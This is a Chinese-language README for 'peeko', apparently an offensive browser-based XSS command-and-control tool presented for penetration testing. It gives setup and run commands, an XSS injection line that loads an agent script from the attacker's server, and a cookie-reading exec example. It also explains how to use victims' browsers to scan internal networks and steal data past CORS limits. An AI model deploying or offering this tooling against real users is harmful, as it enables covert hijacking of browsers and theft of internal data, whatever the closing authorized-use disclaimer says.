peeko – 基于浏览器的 XSS C2,用于通过受感染浏览器进行隐蔽的内部网络探测。
版本: v1.1
peeko 是一款基于浏览器的 XSS 驱动的 C2(命令与控制)工具,利用受害者的浏览器作为内网中的隐蔽代理。
通过注入的 XSS 载荷,peeko 会与中心服务器建立 WebSocket 连接,使攻击者能够远程控制受害者的浏览器,向内部服务发送请求、扫描网络、窃取数据,甚至执行任意 JavaScript——全程无需投放任何二进制文件。
.txt 或 .json克隆仓库:
git clone https://github.com/b3rito/peeko.git
cd peeko
安装依赖:
make install
(可选)赋予脚本可执行权限:
chmod +x gen-cert.sh start.sh
生成自签名 TLS 证书:
make cert
替换 SERVER-IP 占位符:
打开并编辑以下文件:
static/agent.jsstatic/control.html将 SERVER-IP 替换为服务器的 IP/域名:
wss://SERVER-IP:8443/ws → wss://192.168.30.136:8443/ws
启动服务器:
make run
在浏览器中打开控制面板:
https://192.168.30.136:8443/static/control.html
注入代理脚本(示例 XSS):
<script src="https://192.168.30.136:8443/static/agent.js"></script>
192.168.1.0/24、10.0.0.10-20 等80、443,8000-8080)exec:... 格式发送exec:alert(document.cookie);.txt 或 .json现代浏览器策略会影响 peeko 可以访问的内容。
| 响应头 | 能否读取内容? | 说明 |
|---|---|---|
Access-Control-Allow-Origin: * | ✅ | 可完全访问响应 |
| 无响应头 | ⚠️ | 响应为不透明(opaque) |
| 来源受限 | ❌ | 被阻止或无法读取 |
受害者通过 HTTPS 连接。如果扫描的目标仅使用 HTTP:
http:// 端点读取数据在渗透测试中,如果你发现某个内部服务在 HTTPS 上响应 Access-Control-Allow-Origin: *,那么 peeko 就成为一个隐蔽代理,可以直接从受害者的浏览器中窃取内部数据,无需投放任何文件,也无需建立出站连接。
peeko/
├── main.py → FastAPI WebSocket server
├── start.sh → Launch server
├── gen-cert.sh → Generate self-signed TLS certificate
├── Makefile → Install/run helpers
├── requirements.txt → Python dependencies
├── certs/ → TLS key and cert will be stored here
└── static/ → Browser client assets
├── control.html → Control panel (was attacker.html)
├── infect.html → Victim landing page
└── agent.js → Victim agent script
本工具仅用于教育和已授权测试目的。
在未获得明确许可的环境中使用 peeko 是严格禁止的。
请自行承担使用责任。
由 b3rito(mes3hacklab)与 GioPpeTto 编写。